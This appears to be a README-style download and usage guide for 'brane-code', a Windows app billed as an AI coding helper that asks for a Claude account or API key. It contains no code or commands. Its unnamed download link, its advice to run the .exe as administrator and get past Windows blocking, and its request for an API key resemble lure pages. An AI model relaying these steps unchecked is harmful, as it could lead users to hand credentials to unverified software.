Use it to:
- ask for help with code

The app is made for everyday use. You do not need to know much about programming to start. If you can download a file and open it, you can use this app.

Open the brane-code download page
Follow these steps on Windows:
- Open the link above.
- Look for the latest version of the app.

- If the file comes as a
.zip, open it and extract the contents. - If the file is an
.exe, double-click it to start the app. - If Windows asks for permission, choose Yes or Run.
- Wait for the app to open.
If you see several files, pick the one that matches Windows. The app name should look like brane-code or something close to it.
Use a Windows PC with:
- Windows 10 or Windows 11
- At least 4 GB of RAM
- 500 MB of free storage
- Internet access
- A modern browser for setup links and account sign-in
For a smoother experience, use:
- 8 GB of RAM
- a recent Intel or AMD processor
- a stable internet connection
After you open the app for the first time:
- Let Windows finish any security check.
- Wait for the app window to load.
- Look for a sign-in screen or setup screen.
- Follow the on-screen steps.
- Connect your Claude account or API key if the app asks for it.
- Save your settings.
If the app asks for a folder or project path, choose the folder that holds the code you want help with.
To get ready for your first project:
- Open brane-code.
- Choose your project folder.
- Load the files you want to work on.
- Start a new chat or task.
- Describe what you want in simple words.
Good examples:
- fix this error
- explain this file
- add a dark mode button
- make the login form easier to use
- review this code and suggest improvements
Keep your request short at first. You can add more details if the first answer is not what you want.
brane-code is built to make AI help feel simple and useful.
Ask for help with code in plain language. The app can suggest changes, explain code, and help you understand what a file does.
Share an error message or describe a problem. The app can help you find the cause and suggest a fix.
Need a new file, page, or component? Ask for it and review the result before you use it.
Use the app to check your work before you send it or commit it.
The app can work with files from your project so the AI has more detail when it responds.
Talk to the tool in a chat style. This makes it easier to ask questions without learning a new system.
To get better results:
- ask one task at a time
- use simple words
- include error text when you have it
- say which file or folder you mean
- tell the app what you want the result to look like
Good prompt:
- I get an error when I click save. Help me fix it.
- Make this page easier to read on a phone.
- Explain this function in simple terms.
When you use an AI coding tool, check the result before you use it in your project.
Good habits:
- read the changes before you save them
- test the app after each change
- keep a backup of important files
- use version control if you already have it
This keeps your work safe and makes it easier to undo a change if needed.
If the app does not open:
- try running it again
- right-click the app and choose Run as administrator
- check that Windows did not block the file
- make sure the download finished fully
If the app opens but looks blank:
- wait a few seconds
- check your internet connection
- close the app and open it again
If sign-in does not work:
- check your browser login
- make sure your internet is active
- enter the key or account details again
If you still have trouble, remove the app files and download it again from the same page.
After you download and unpack the app, you may see files like:
- the main app file
- a settings file
- support files
- a readme or help file
Keep all files in the same folder. Do not move one file out by itself, or the app may stop working.
When a new version is available:
- Visit the download page again.
- Download the latest release.
- Close the current app.
- Replace the old files with the new ones.
- Open the app again.
If your settings are saved in a separate file, keep that file in place.
A few words may appear while you use the app:
- Project: the folder or app you are working on
- Prompt: what you type to ask the AI for help
- API key: a private code used to connect your account
- Context: the files or details the AI can read before it answers
- Run: start the app or start a task
If you are not sure where to begin, try these steps:
- Open the app.
- Load a small project folder.
- Ask it to explain one file.
- Ask it to fix one small issue.
- Compare the result with your own file.
- Repeat with the next task
This is a good way to learn how the app works without getting stuck.
